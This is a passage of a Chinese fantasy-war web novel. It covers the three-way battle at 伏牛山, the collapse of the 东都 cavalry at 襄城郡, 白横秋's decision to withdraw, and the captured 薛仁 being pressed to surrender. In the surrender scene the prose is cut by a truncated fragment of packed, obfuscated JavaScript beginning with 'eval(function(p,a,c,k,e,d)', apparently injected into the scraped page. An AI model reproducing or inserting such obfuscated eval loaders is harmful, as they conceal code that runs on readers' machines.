这些话的意思,本意是要强调,关西一定要抓住这两三年的窗口期,夺取东都之类的,从而继续维持优势,继而再度完成大魏一统四海的伟业。 白横秋自己也是这一派论调的认可者和执行者。 但现在,半年而已,优势就没了?! 从开战时见到张行的白雾,到目前为止,白横秋终于心境纷乱起来……他甚至觉得,之前自己在河内和此地反复心惊肉跳,反复心血来潮,并不是什么别的地方会出来问题,而是一开始他就完全低估了黜龙帮的全方位优势,误以为自己可以采取攻势。 所以,只要一离开长安,一出兵作战就会使大英陷入总体性危机! 可这么一说的话,**张世本算什么?这厮可是建议当场决战的!便是他是对的,自己和整个东都的那些老将军、老总管,就真有这个魄力当场决战? 当时当地,凭什么呀? 还有冲和的那个卦……难道说,东都被三番打破,却是张行入主吗? “白横秋!”就在白皇帝陷入动摇之际,似乎是察觉到什么的张行忽然借着真气在下方大喊邀战,声音之大,覆盖了几乎半个山麓。“今日就在这伏牛山上,咱们二人一决生死,胜者当天下,败者归于山丘,岂不省的这山河之上反复赤红涂抹?” 白横秋闻言怒极,天上棋盘中蓄势待发的棋子纷纷横起,然后如流星,似飞虹,直接向那白雾打来。 然而,数年前对于黜龙帮而言几乎称得上是致命打击的棋子,此时却只是寻常的攻防往来,白雾中闪出龙翅,一一挡住攻击,非只如此,中间司马正来攻,也有黑刀、旋风与黑水迎上,这还不耽误真气大阵见缝插针,雾中时不时伸出龙爪,彷佛什么怪物一般攀山而上。 这一幕,直接促成了中军郑善叶部的崩溃,也让白横秋目眦欲裂,直接飞身而下,天上巨大的棋盘更是忽然如罗网一般拍下,似乎要将这个怪兽整个纳入网中。 下方张行不敢怠慢,一只龙首自白雾中腾起,准备将这罗网衔住。 然而,网兜即将落下接触龙首的时候,又有司马正的金甲巨人高高腾起,如劈山一般挥舞大刀紧随其后,既是砍向那巨大的龙首,又似要斩断罗网。 这一击终于奏效。 龙首当场一晃,然后如什么活物一般哀鸣一声,化为白雾消散,连带着下方整个大阵也都晃动松散起来,但棋盘所化罗网也随之被刀刃撕开。 紧接着,在三军紧张的瞩目之下,白雾终于散开,司马正见状,也将那金色巨人收起,白横秋也没有再着急凝结棋盘,三家军政首脑,一在空中,两在地上,全都显露了出来。 白横秋与司马正尚有风度,张行则显得有些狼狈,他正在揉脖子,但衣甲俱全,另一只手的弯刀都没撒开。另外两人看着他座下的黄骠马和显出身形的四百余号踏白骑,明显再度严肃起来。 “两位!” 随着踏白骑们的主动收缩,张行率先扬声开口,但到底没有大阵做底,不能如刚才那般让所有人听清楚了,只知道他在说话。“我还是那句话……就在此处了结又如何?何必让生灵涂炭?!咱们有这个修为,不就是因为天意人心地气相聚于己身,正该做这事!” 白横秋冷笑:“之前在河内,未见你这般说……如今证了大宗师,便迫不及待吗?” “张三郎。”司马正也似笑非笑。“既如此,你且让你的踏白骑离开,就咱们三人……” “那不行。”张行当场大笑起来,似乎是听到什么笑话一般。“我跟你们不一样,我观想的是至尊,若无他们,便无我这个大宗师。” 白横秋面不改色,司马正则微微眯眼来问:“你既是至尊,如何来的白雾?” “司马二郎,其实也不怪你。”张行望着对方幽幽一叹。“便是我今日也才确定,恰如观他人终究是观己,这观至尊则到底是观凡间人!我这个大宗师此时能为的,只是替阵中人做个帮扶,让强者更强,让勇者更勇,替奇经做个观想外显而已!” 说着,张行指了指身侧已经重新聚拢过来的踏白骑。 司马正目瞪口呆之余心中恍然——原来如此!竟然如此! 观想至尊,最终落在人身上,所以,以张行为阵底的大阵,人力更众,修为更强!以至于阵中只有不到五百人,却显出了当日黜龙的**百人之威!因为至尊之能,便是众人之能,至尊之威,便是众人之威! 至于那些白雾,也不是张行的观想,而是踏白骑们……是这四百踏白骑自家理所当然的念头,他们就觉得自己应该“踏白”……所以当张行摸到大宗师门槛后,就以阵底自然显化了他们的念头! 这还只是大宗师门槛上,便可增幅阵中人的力量,替阵中人做显化,那等他真的越过大宗师,是不是可以反过来集天下人之念,于本处显化呢? 所以,这就是至尊之途吗? 至尊能为至尊,实为苍生代行……天意既人心,至尊既凡人。 只是,若是这般来看,为何独独对自己不公?! 司马正一时心乱如麻。 也就是这个时候,白雾再起,引发了原本有些迟疑观望之态的黜龙军全军欢呼……白横秋不敢怠慢,也赶紧在天上重布棋盘,眼睛却忍不住在司马正与那白雾上打转,心中无力且无奈。 他如何不晓得,刚刚张行确系是受了两人合击,无法支撑大阵呢?所谓邀战、自陈道途,根本就是在拖延时间!而司马正也竟然真让这张三几句话给糊弄了过去,失神至此,以至于让对方缓了过来,重新起阵?! 当然,这位大英皇帝几乎是同时便意识到,这是三家对垒,便是司马正窥到张行不支,怕是也未必会继续与他白横秋合力的……但是,他还能指望什么更好的机会呢?! 这才是最让人无奈的! 下午过了大半,伏牛山上的战斗依然在进行,但所有人都知道,它已经结束。 这不是什么自我矛盾,而是说,三方肯定会继续流血、战斗,会付出人命的代价,但是想要更进一步,在今天彻底打垮其中一方或者两者,基本上已经不可能了。 实际上,这一点在黜龙军参战而东都军还没有彻底冲垮关西军时就已经成了定局。 只是张行不甘心,又尝试了一次,结果确实证明了这一点而已。 当然,这一战一开始的战略预期就不是很明了,以至于三方其实都有一个偏保守的预期……黜龙军、关西军被动应战,司马正力求显威,只要此战不伤根本,似乎都可以称之为某种胜利。 至于具体伤亡,在三方最高战力直接对决的情况下,只要没有大将折损,那也只能大略去猜,关西军死伤更多,更明显一些罢了 然而,战争这个事情,如果能被人精密控制,那简直就是个玩笑。 此时此刻,伏牛山上已经杀红眼的三方基层军士,与已经意识到局势发展的中高层,委实无人能够想到,就在数百里外,分战场的胜负已经发生了某种微妙的倾斜。 彼处,双方在第一时间就在融化了不少积雪的田野中陷入到了进退不能的尴尬场景。 但是,这毕竟是刚刚过年,而且是第一天升温,指望着冰冻三尺一日融化,未免可笑……故此,随着日头偏西,土地竟然慢慢的重新坚硬起来,骑兵们在不顾惜战马的情况下,居然渐渐恢复了一定的机动能力。 这让所谓的烂仗重新恢复了某种可能。 之前停止了行动,躲在汝水下游远端的秦宝开始带领自己那一百踏白骑,再度尝试用偃旗息鼓的方式从田野的远端绕到后方,对尚师生进行斩首。 但是,局势比想象中变化的更快。 秦宝刚刚绕到已经在田野中不知道延伸了多远的战场远端,对方的援兵竟然到了。 来将打着一个“薛”字旗,兵力不多,两三百骑的样子。 坐在河堤上观战的尚师生看到断掌的薛亮打马引旗帜过来,明显不满:“如何只有薛太保一人?” 薛亮无语气急:“尚老将军问我?你不该在襄城郡郡治内与汝水南侧的我,还有伊阙的李尚书成犄角之势吗?如何轻易过了大留山?” 尚师生被问的一懵,旋即尴尬掩饰:“是我弄错了军令,以为是要去襄城县呢!” 薛亮上下打量了一下对方,长呼了一口气,连连摇头,却强压下这个,转而询问战况。 “不分胜负,主要是午间相遇,田野下面化了雪,成了泥淖,冲不起来,不然老夫早就亲自上阵,把刘黑榥斩杀了。”尚师生自知理亏,闻言便有些小心,但还是藏着些跃跃欲试。“不过现在地面又重新硬起来,一会或许可以冲过去,薛太保来的好,待会助我!” 薛亮没有吭声,而是先翻身下马,也看了一下局势,却在瞥了眼身后那两百骑后直接摇头:“刘黑榥如何这般好杀?那张姓旗据说是张公慎,据说为人谨慎有度,也不是什么易与之辈……老将军,趁这个机会,咱们收拢部队,一起断后往回走吧!回到襄城郡中,你在汝水北,我在汝水南,老老实实等元帅回军便是。” 尚师生一时闷闷不应。 另一边,刘黑榥看到对方援军抵达后眼睛都直了,因为他也呼叫了援军! 没错,刘黑榥自诩的后手并不是秦宝和踏白骑,这些已经在他队中,如何当面说“还有后手”?而且援军数量虽然不多,却颇有实力,领兵的赫然是被人称为“小指挥”的登州总管程知理。 想想也是,河南大战,能招来的兵力都招来了,登州哪怕多是后备营,也该把程知理及其直属营头叫过来参战才对。唯独登州太远,而且程知理需要先协助转运登州来的物资,所以才来的这么晚,先去见了柴孝和,一直到昨日才与收集战马的刘黑榥等人相见。 双方约定,步骑混合的程知理顺着颍水外侧、背靠着荥阳走,刘黑榥等人是骑兵,顺着更深入敌境的汝水走,走内侧,两军相互并行,一起往伊阙方向进行军事扫荡,这样遇到敌人也能方便相互支援。 结果呢? 现在自己一马平川的援军未到,对方隔着汝水的援军却到了,这程知理怎么回事?还能不能好好做个大头领了? 他都能想象到已经绕到战场远端的秦宝此时有多无语。 思考再三,不敢擅自离开官道上指挥点的刘黑榥派出了一名传令官,告知侦查结果,两百骑、薛字旗,同时,自家援军没有任何动向,让秦宝自己决定是否继续突击斩首。 秦宝很快给出答案,他准备等等,如果对方没有撤退的意思,他就尝试进行突击,薛字旗大约是薛亮或者薛万论兄弟之一,并不能有效阻止他;反之,若是对方很快撤退,那他并不建议追击,而是应该尽快确定援军动向,避免新的麻烦。 刘黑榥自然同意,他已经想好了,不管这一战结果如何,他都要联合秦宝、张公慎一起在大会上**程知理! 两刻钟后,尚师生还是没有动,而伴随着张公慎主动制造的混乱,秦宝毫不迟疑的在三百步外发动了突袭。 秦宝加上一百踏白骑,所当者,乃是年迈且没有上马还只剩二宝大将尚师生与断了手掌的二太保薛亮,外加尚师生本人四五十下马亲卫,以及薛亮带来的两百骑。 三百步,一旦提速,几乎是瞬息的功夫,但地面没有那么快再度封冻,战马也 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而再度出乎薛仁意料的是,秦宝晓得来人厉害,不顾一切单手持锏,支撑地面,那斑点瘤子兽竟然也趁机翻身站起,甚至还不顾肚皮上血渍淋漓,当众跳了一下,接着宛若无事马一般,驮着秦宝便往薛仁处冲去……好像它才是更主动要报仇那个似的! 河堤上,已经上马的尚师生遥遥望着这一幕,心情复杂,忍不住扭头对薛亮来言:“你看这龙驹,这本该是老夫的马!凑齐四宝,便是我得道的契机,如今反而只剩二宝!” 薛亮无语至极,直接呵斥:“尚将军,你迟早死在你的宝上!现在赶紧走!迟则生变!” 尚师生无奈,只能协助下令,让全军后撤! 此时,薛仁和秦宝已经交手,虽然秦宝真气特殊,又有龙驹在跨下,但薛仁也有一手好箭术,近则**,拉开几十步便直接引弓,再加上秦宝摔得那一下,两人竟然是棋逢对手一般,打的不可开交。 另一边,踏白骑们倒是想协助主将围猎薛仁,然而随着尚师生正式下令撤军,他们也被冲击,只能尽量留下一些东都骑兵以作补偿。 过了片刻,随着日头西下,薛仁眼瞅着尚师生、薛亮都已经撤退,也开始且战且退,一起顺着汝水往上游而退。 秦宝等人自然紧追不放。 天黑之前,两军一前一后,衔尾递进,一路抵达大留山。 到了此地,张公慎让亲卫吹响号角,汇集起了其余两人,然后直截了当:“日头不高了,追过大留山,便不好撤退,他们可以撤到郡城内,我们却没有立足之地……薛仁在此,委实是意外,我们援军又没有动向,不如止步回身。” 刘黑榥点点头,便要言语,却不知道想到什么,张着口,一时没有合上。 秦宝看着对方,心中微动,然后也鬼使神差一般:“不如再追一追……事情不成的话,我们可以掉头去东北面的箕山,过轘辕关,去荥阳……” 张公慎觉得莫名其妙,那样的话固然是能走脱,但要绕多远,人和马要多累?而且天色一旦暗下去,哪里还能指望什么像样的斩获?能有因为天黑路滑摔伤的减员多? 但是,他看了下其余二将,忽然间也没有了反对的意思,取而代之的,是试探性的目光。 很显然,三位被张首席都用内秀评价过的将领,此时一起意识到了一种可能的局部局势以及相对应的一种军事冒险可能成果。 “那就试试!”行军总管刘黑榥眯着眼睛,下达了军令。“按照秦二郎的方案走!大不了累一夜,逃回荥阳去!这些日子这般苦都吃了,还差这一日夜?” 其余二人立即表示了赞同。 伏牛山上,黜龙军开始大举撤退,两万多部队,十来个营,多为步兵,现在还有不少伤员,他们可不敢留在这里夜战……真要是硬打下去,司马正先退回去,再集中精锐杀个回马枪,全军崩溃了算谁的? 黜龙军撤退之后不久,东都军也开始撤退。 坦诚说,无论是哪一方,那些战前赳赳之人,经历了一场混战,大多丧失了之前的力气和态度,倒是三家领袖,虽然从头打到尾,却一直不倒架。 眼看着太阳西沉,身后部队已经下了山,并且越过了空荡荡的向城,张行也带着主动散去真气的踏白骑,维持着紧密阵型,顺着来时通道缓缓后撤。 司马正也转身离去。 但就在张行后撤过一处山坳,被遮蔽了视野时,司马正陡然回身,也不施展真气,更没有动用身外化身,而是捡起战场上被遗弃的一柄长矛,朝着那个山坳狂奔过去! 山麓上区,白横秋冷冷看着这一幕,没有任何表情。 下一刻,司马正登上山坳,高高跃起,却见到张行在内,两位宗师,两位成丹,数百踏白骑,早已经立定,面朝他严阵而立,俨然早有准备。 司马正心中一惊,动作却没有半点迟缓,手中真气几乎是爆裂一般绽放出来,然后将长矛极速掷出。 长矛破空,竟然如雷鸣动,直奔黄骠马的张行而去。 张行纹丝不动,而那**飞到跟前十余丈时,早有长生真气滚过,随即黑刀、黑水、狂风一起去卷,硬生生将其从空中拽了下来。 一直到此时,张行方才笑道:“司马二郎,你还不懂吗?于我而言,人既城垣,人既甲胄,人既刀枪,你单打独斗再厉害,便是修成了个巨灵神,又如何是我对手?” 司马正一枪掷出之前就已经晓得结果,此时也不管什么是巨灵神,只张口来笑:“张三郎,你这般得意,自以为万事在握,何不来东都一会?!” 张行笑的愈发从容:“正要去的!难道还能躲过这一遭?!” 说完,到底是打马回身,伴着夕阳下山去了,司马正也从容孤身往另一侧山麓而走……倒是山上的白横秋,早已经面色铁青,他如何听不懂这两个年轻人言语? 司马正果然已经晓得他自己是甲胄,是遗蜕,而且今日竟已经认定了只有张行可以取他了! 唯独哀嚎遍野,便是再有不甘,此时也只能忍耐。 天色暗了下来,数百里外的汝水畔,黜龙军追兵并没有太急,甚至两军主体一直相隔数里……尚师生、薛亮、薛仁等人引着东都最后一支成建制骑兵,终于辛苦抵达襄城郡郡城承修之下。 襄城郡郡城城墙上明显按照要求有了防御准备,乃是城墙密布郡兵,却不举火,这说明他们肯定接到了之前尚师生派来的传令官,可此时却不敢直接开门,只是要验证身份。 倒也说得通,谨慎为上嘛。 然而,只剩下二宝的尚师生如何能让城上官吏这般谨慎?他本人倒无所谓,关键是已经天黑,他的数千骑兵在旷野中被人衔尾追击,若没有立足之地,那可是真要了命! 于是乎,其人蹬着跟宝甲配套的宝靴腾起,直接落到城门楼上,便要执拿那说话的本郡官吏。 然而,二宝大将刚一出手,却忽然寒毛直立,单手还在往前伸,双腿却已经再度发力,尝试逃窜了,身上的宝甲更是如刺猬一般整个绽开。只是那手到底是被藏在暮色中的一名雄壮大汉给捉住,只顶着城门楼的垛口狠狠一掼,便将他从城门楼上摔下,龙鳞宝甲绽开的龙鳞此时成为他痛楚的根源。 这还不算,随着这一摔,城上竟然一起举火。 城上举火之后,远处数里之外,追兵似乎是早有预料一般,也瞬间举起了数百火把。 这个时候,城上方才松了口气,一人直接喝骂:“这都什么事情,你们这边的地名差点害死我老程!为什么襄城县不在襄城郡内?!” 薛仁还要腾起,刚刚去扶起尚师生的薛亮却已经大骇,赶紧又来抓住此人:“不要乱动,你自己应许的要听我军令!程知理是早许多年的知名成丹,你拿他不下!倒是这几千骑兵是东都最后骑兵,再不走,葬送在城下,如何去见元帅?!” 薛仁到底晓得要害,只按照薛亮要求,赶紧往掉头往北面绕城而走。 但黜龙军骑兵此时已经不顾一切奔袭而来,郡城更是在城头**齐发的情况下四门大开,与之夹击,已成惊弓之鸟的东都骑兵只不过两三刻钟便彻底失了建制与秩序,陷入崩溃。 混乱中,便是薛仁、薛亮、尚师生三人也失了联系,很快便见到薛仁腾起,于夜中乱战,然后便有三个黜龙军成丹翻腾起来一起去战他,流光飞梭,年轻强悍如薛仁也狼狈不堪,摇摇欲坠,薛亮与尚师生哪里还不晓得此人结果?竟不敢乱起,只能装作寻常骑兵逃散。 然而,尚师生走到一处,跨下称不上劣马的战马忽然一个趔趄,将他摔倒,本能之下,立即腾起,结果刚一腾起,之前被程知理摔下的四肢胸腹便剧痛起来,复又仓促落下,抚着胸口躺在重新结冻的雪地里。 过了许久,方才缓过劲来,然后便赶紧去找自己刚刚不知道甩到哪里的提炉枪,结果刚找到,拄着站起,一股腥风便迎面而来,接着是一声熟悉的龙驹嘶鸣。 眼见秦宝提一杆大铁枪骑着斑点瘤子兽过来,已经认命的尚师生不由望天一叹:“天意如此!我既负元帅,葬送了东都最后甲骑,这枪终于可以赠你了!” PS:签了一千一,那边出版社肯定是低估了**怕水四个字的笔画,给了五个签字笔全用秃了,我自己又买了俩笔……坦诚说,不累,就是很枯燥,不停的重复,下午到晚上,第二天中午爬起来继续到傍晚,写的头皮发痒…… 第一百零三章 送乌行(13) 大年初三,一日血战。 三方各自回营,清点死伤减员,不由各自心惊。 但是,真正心惊的人在伊阙关——翌日凌晨,李枢在晓得襄城郡郡治易手,东都军最后一支甲骑全军崩溃离散,尚师生、薛亮、薛仁三将全都生死不明后,几乎陷入到了一种肝胆俱丧的境地! 没办法的,真没办法的! 首先,襄城郡城丢失,防护粮道的甲骑尽丧,意味着南阳方向的东都军主力彻底丧失了后勤道路,只能立即回师,而现在他李枢还不知道前方战况,如果前方战事不利,撤退过程中又出现什么问题,那可是天翻地覆的大事; 其次,东都被隔绝,战马补充极难,这最后的几千成建制甲骑崩散,本就是伤筋动骨的大事,更何况尚师生是东都资历大将,薛亮更是临阵相投过来可靠可用之将,如今一并没了消息,这些本就是大问题; 最后,也是让李枢难以接受的是,他这个兵部尚书,正是此战署理后方的主要负责人,某种意义上比坐镇东都的司马进达都要重要,却在短短数日内造成了这种后果……他有何面目去见司马正?! 可是,可是,东都已经是他最后的容身之所了,连司马正都没法面对,他还有什么人可以面对,连东都都无地自容,还有什么地方可以容他?! 几乎是在麻木状态下,李枢依靠着自己的经验和素质下达了一系列军令,乃是要求关闭伊阙关大门,谨守城防;联系身后司马进达,全面警戒东都;同时每隔一刻钟发出三人一组的信使,绕过襄城郡郡治承休,不惜马力、人力,飞速给司马正报讯。 从伊阙到前线武川,大概是两百来里路,到鲁阳关干脆不足两百里,对于大部队来说,这自然是数日路程,但当骑士们不顾一切飞奔而去,当日下午便陆续抵达。 司马正闻得消息,自然震惊,但震惊之余竟有些意料之外情理之中的感觉,现在回头去想,昨日阵中根本没见到秦宝,踏白骑也少了许多,恐怕正是用来挠自己身后了。 事到如今,也只能感慨,张行反应太快了,黜龙帮也人才辈出。 念头泛起的同时,这位东都军统帅也毫不迟疑下达了全军连夜后撤的军令,并在知会诸将之后,亲自为先锋先行向北——这当然不是要抢在第一个逃窜,而是司马正心知肚明,此时大军伤亡颇重,若不能抢在全军大部队前驱逐襄城郡内的黜龙军别动队,那么军心就会动摇,说不得会有离散逃逸之举。 大年初五,随着天气进一步升温,局势陡变。 黜龙军与关西军全都察觉到了东都军的后撤,各自派出成建制部队前往武装侦查。而让所有人都想不到的是,负责断后的牛方盛在离开武川城后不久忽然率领本部转向西面,直奔伏牛山北侧方向一带而去。 说实话,关西军还以为牛方盛是要从侧翼顶住自己,东都军也以为这位是有军令在身要去做侧翼遮护,反倒是通过快马来报晓得北面一些情势的张行第一时间意识到了某种可能性,立即亲自引踏白骑去抢占武川。 下午时分,已经离开鲁阳关抵达汝水支流舞水的司马正得到了多个消息——黜龙军第一时间重新夺回武川,张行的红底“黜”字大旗被重新立起;北面的程知理、秦宝、刘黑榥、张公慎等人在晓得他回来以后已经全面弃城东走,归途道路通畅;尚师生确定战死,薛仁确定被俘,薛亮一个人徒步逃了回去。 此外,牛方盛似乎引本部叛逃关西! 出乎意料,司马元帅竟还是没有太多的情绪与过激反应,只是回身中军按部就班处理撤军事宜。 只能说,事到如今,无论是司马正也好,还是整个东都势力也好,全都认清了形势,彻底放下了之前的种种幻想。 然而,东都的退场不代表剩下两家就能从容坚定的坚持下去,更不代表谁就是胜利者。 凌汛要来了,春耕要开始了。 要不要退兵? 南阳这块地方怎么办?! 谁先熬不住?! 当晚,伏牛山上设宴,款待牛方盛。 自古以来的习惯,多方对峙时,降人待遇就极高,更不要说人家牛方盛是关陇有根的人,还带着好几千兵,甚至就连这次反正,都不是什么无缘无故,乃是之前作为使者来到这伏牛山上以后白皇帝亲自许下承诺的结果……甚至,在之前遭遇两家夹击损伤惨重的情况下,若非人家牛方盛此时引兵反正,怕是都没脸宣传胜利的好不好? 故此,牛方盛当场被授予一卫大将军,并遥授了还在东都的大魏忠臣、老相爷牛宏一个大英的敏国公爵位,让牛方盛代领。 当然,那几千从江都带到东都的本部兵马也依旧由牛方盛带领,甚至还说要从关西府兵里给他做补充,并配以对应的左右翼中郎将,确保兵权。 一句话,事情是大好事,双方都做到位了,谁也挑不出毛病来! 相对应的,宴席上的气氛也好极了,没有谁不开眼,搞什么喝到一半抱着皇帝大腿痛哭一场的戏码,经历了前日血战的白立本、张世静,因为前日大战匆匆折回的刘扬基没一个不懂事……人家白皇帝本人也没有李定那么低端。 实际上,很多人在这次宴席上反而有些放浪形骸之态。 宴会完美结束,然而散了宴席,又过了大约大半个时辰,已经逼近三更天的时候,刘扬基刚刚脱了鞋子泡脚,却忽然收到传召,说是皇帝想要见他。 刘扬基无奈,赶紧重新收拾了过去,心中不免有些忐忑……多少次了,这种临时的召见其实多是坏消息,皇帝做个梦都是噩梦。 进了御帐,见到白立本跟张世静已经等在这里了,再去看白皇帝,却见这位大英皇帝也只是扶额不语,明显在等自己……刘扬基心中一片焦躁,只强撑着要行礼。 白横秋抬手制止,顺势睁眼来看三人,然后落在刘扬基身上,不由好奇:“老刘,你有话说?” 刘扬基无奈束手而立:“是有些谏言,可本想着大战之后陛下临时召见,肯定有其他事情,藏一藏再说,但陛下既然看出来了,我藏着反而心中难解。” “咱们之间有什么可计较的?”白横秋笑着摆手,竟然有些释然之态。“是要说牛方盛吗?” “不是,臣下要谏言的,恰恰是陛下对臣下这些故交们过于优容。”刘扬基语出惊人。“而对牛方盛这类人今日这般优容过少。” “对你们优容不好吗?”饶是白横秋此时已经看开了一些东西,闻言还是不免诧异。 白立本跟张世静也觉得莫名其妙。 “陛下还记得臣下走前跟陛下说人家黜龙帮开会的事情吗?” “自然记得。” “这就是了。”刘扬基肃然道。“我这几日往返,心里一直想这件事……想来想去,今日又逢牛方盛过来受赏,便起了念头,咱们之所以不能像黜龙帮那般一起开会,团结更多人,恐怕正是因为陛下优待旧人、老臣过了头。” “怎么说?”白横秋催促了一下。 “陛下,臣下冒昧,你觉得我这个人才能如何?”刘扬基伸手指着自己的鼻子来问。 “你这个人……”白横秋不由失笑。“难道你想说你自家是个废物吗?” “臣下当然不是个废物。”刘扬基无奈道。“臣下的才能和对陛下的忠心,做一卫大将军、一路总管,替陛下看守一营,都督一军,怎么都是恰当的!但也仅此而已……臣下想说的是,臣下算不上国士,于大局、国政、军谋而言,只是一个寻常将军罢了。” 话到这里,刘扬基看着白横秋诚恳以对:“可是陛下如此信重臣下,乃至于经常私下召见臣讨论国家大务……恕臣直言,陛下虽然是大宗师,可到底是个人,一日便只有十二个时辰,也要睡觉吃饭,如此一来,私下里再与臣聊上许多次,便是少了许多次与真正俊才讨论国事的机会;而如果陛下竟然直接依靠臣的本事去制定大略,那臣真是万死莫辞!因为臣心知肚明,臣的本事恐怕是对付不了张行和黜龙帮的……反过来说,黜龙帮之所以能连番开辟战线,逼的我们手忙脚乱,难道没有人家才智之辈尽得使用的缘故吗?” 说着,其人就在张世静与白立本复杂的目光中直接下拜。 白横秋也不用真气,只是起身扶起对方,却神色哀婉:“如此说来,我反而不该亲近你们这些老臣了?” 刘扬基忍不住流泪,却还是坚持自己的观点:“若是陛下还是当年的千牛卫都尉,我恨不得每日执辔打马随从陛下出入长安;若陛下还是太原留守,我恨不能每日佩刀出入太原替陛下筹建起事兵马……可是陛下,现在你要争天下,我们这些旧人不是说没用,可不能只用我们吧? “吐万长论、鱼皆罗、王怀通都是宗师,就算是他们有二心,不可能真正忠心于陛下,可陛下也得用起来呀,不能只用一个故人韦胜机;再比如说,我们这些人当然可信,但想要动员关中人力物力,难道不应该跟窦、李、韩几位做商议?想要对抗黜龙军的青年俊杰,等强制筑基的孩子是来不及的,应该早早动员关中子弟为自己亲信,然后放在身边提拔才对,何至于等到现在还只是用于中层军官?陛下,便是让他们家族趁机做大,同时掌握枢机、清议和兵权又如何?得先赢下来呀!” 白横秋以手抚身前之人后背,依旧不恼:“老刘,你说的极对,你说的极对,我能有你这种忠心耿耿的旧友、下属,是我的福气……咱们回去以后,从长计议,学着司马洪,谨守关西,用尽人力物力,等到时机再与黜龙帮争锋。” 刘扬基一愣,白立本、张世静也都诧异。 白立本更是匆匆来言:“陛下,不能退!东都经此一回,已经无力离开东都干涉外部局面,我们一退,南阳就是黜龙帮的了……到时候,南阳联通荆襄,韦元帅怎么办?甚至江东都要被黜龙帮收走的!” 白横秋点点头,言辞从容:“道理是这样,但也没办法,我两刻钟前收到了长安来的加急军报,李定率领北地联军十万之众,已经在年前渡海,并且一战击败了都蓝可汗的王庭主力……马上他们就要南下进袭关中了。” 三人目瞪口呆,久久不能应声。 “那……那荆襄到底如何?”张世静赶紧追问道。 “道理上不会,他应该趁我们被李定吊住,赶紧集合河北、河南主力,等凌汛一过,立即全力吞下东都,盘活全局才对。”白横秋语气平缓。“但也不得不防……所以,要立即抽调一位宗师南下襄助韦元帅……我会升鱼皆罗老将军和吐万老将军为副元帅,给他们国公爵位,让他一个去主持毒漠防线,一个去巴蜀支援。” “河东……” “我在长安,可以兼顾河东。”白横秋缓缓做答。“此外,不能这么被动应付……你们三人……立本去一趟荆襄,见见三娘,告诉她,虽然她不是我亲生儿女,但父女近三十载亲恩,总不是假的,只要她愿意回来,便是皇太女!她那几个兄弟,任她处置!” 白立本张了下嘴,但最终还是点头:“臣下明白。” “扬基,你去东都……怎么说你心里明白……怎么说都行。”白横秋继续吩咐。 刘扬基赶紧应声。 “世静,你去巫地,见李定,告诉他,只要他愿意反正,便是元帅领赵王。”白横秋最后看向了张世静。 张世静俯身拱手,然后忍不住来问:“陛下,若是他不应,我是留在毒漠还是干脆去晋地做监督?” 白横秋稍作思索:“你就不要干涉鱼皆罗,省的他多想,到时候去晋地……若是晋地没被大举攻击,你就努力转运物资给毒漠前线;若是被攻击而不能支应,你也要想方设法把晋地的物资和兵力集中到河东一带。” 张世静这才赶紧点头。 “就这样吧!”白横秋终于摆手。“你们先走,撤军的事情我来处理,到时候亲自断后……省的有人要学牛方盛,连爹都不要了也要跳船。” 三人一起应声。 大年初六,雪在继续融化,黜龙军从方城重新转移回武川的过程不免变得麻烦。 这个时候,张行第二次见到了第三次被打断手脚的薛仁。 秦宝认为薛仁是个好手,天生的战将,一个区区凝丹,能成功偷袭他,也能在空中跟三个成丹拖延片刻,委实是个好苗子,他希望张行能够招降此人。 自诩以人为本,爱才如命的张首席竟然明显迟疑了一下,没有直接开口,反而左顾右盼。 武川城内署衙大堂上,躺在斜靠门槛木板上的薛仁面色发白,心里也终于惊惶起来——因为,因为这是第三次了嘛。 万一,万一人家生气,真砍了自己又如何? 而且,而且为什么呀? 为什么看不上自己? 人家白皇帝、司马元帅,都觉得自己是人才,可为什么就你张首席屡次无视自己? 而更让薛仁难以接受的是,相较于白皇帝和司马元帅,似乎这位张首席在收拢人才、爱惜人才的名声方面更胜一筹……难道说,自己真算不上什么人才吗? 正想着呢,拉个凳子坐到薛仁侧前方的张首席终于开口,却不是对着薛仁,而是扭头看向了另外一人:“七郎,你觉得怎么样?这个人值得招降吗?” 薛仁如坠冰窟,却哪里还不晓得,自己在这位首席眼里,确实算不上什么顶尖的人才,最起码人家是不愿意为了自己而恶了另一位爱将的!更何况,这尉迟融战场上便傻傻的,会不会真记恨上自己了? 尉迟融明显有些措手不及,他之前一直死死盯着薛仁是不错,但此时闻言却也有些慌乱,只能硬着头皮开口:“这厮确实可恶,但要是愿意降也不是不行……” 说着,他瞥了眼同僚秦宝,这才是真正俘虏薛仁的人,同时也主动建议招降了,他尉迟七郎哪有资格处理这个俘虏? 张行点点头,依旧没有问薛仁,而是依次与堂上其他人做询问。 除了单通海和稍微几位头领在外面指挥安置部队,其余几位龙头和大头领、头领,几乎都在这里,而除了伍常在以外,几乎所有人都给了秦宝面子,或者说察觉到了张首席要耍的手段,纷纷附和,表示可以招降。 一圈问完了,张行才眯着眼睛来看薛仁:“如何,薛将军,这是第三次生擒你了,可愿降吗?!” 一股强压之下,薛仁眼泪都要掉下来了,他现在非常害怕,真的非常害怕自己稍微表示一点拒绝的意思后,坏了这么多人面子,会被直接拽出去斩首,那样的话,他期待的一切就都没了。 他一开始就是为了兴复祖上荣誉,为了妻子有所回报,为了自己出人头地来参战的。 他从来都是想要这些东西且不愿意死的! 但是,剧烈的情绪下,此人心底那点东西还是压住了这袭来的恐惧,然后在门板上欠身咬牙开口:“张首席,我不是不愿意降,但我还欠陛下一个答复……不是欠他什么恩情,他的恩情我上次在河内两次拼命已经还了,也不欠司马元帅的恩义,因为这次也还了……但我不能这么直接降了,直接降了,我在陛下那里便是不清不楚,不明不白,他就不晓得我为东都效力是为了回他那里,张首席,你最起码要让我与他说清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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众人闻得李定已经成功击破东部巫族主力,自然多是惊喜,而且都晓得白横秋要走了,只是听到大行台临时更改战略,就没有那么态度一致了,至于说到眼下南阳这里何去何从,那就更是五花八门,各有所言了。 很多人,准确的说是以单通海为首的河南本土头领还是想着去打东都,尤其是这一回后,张行的修为到了一定份上,他们也能察觉的,那么如果此时集中河南河北主力,一位准大宗师,五位宗师,八百踏白骑一起攻击,东都说不得一个春天就能拿下。 到时候就是全局在握,从容进取关西了。 所以,他们希望当时议定出兵晋地且还不晓得张行晋升以及此战结果的大行台,现在直接把大军撤回来,掉头等待凌汛结束,然后一起**东都。 相对应的,一些大行台背景的头领跟少数河北籍贯头领则建议一起渡河去河北打晋地。 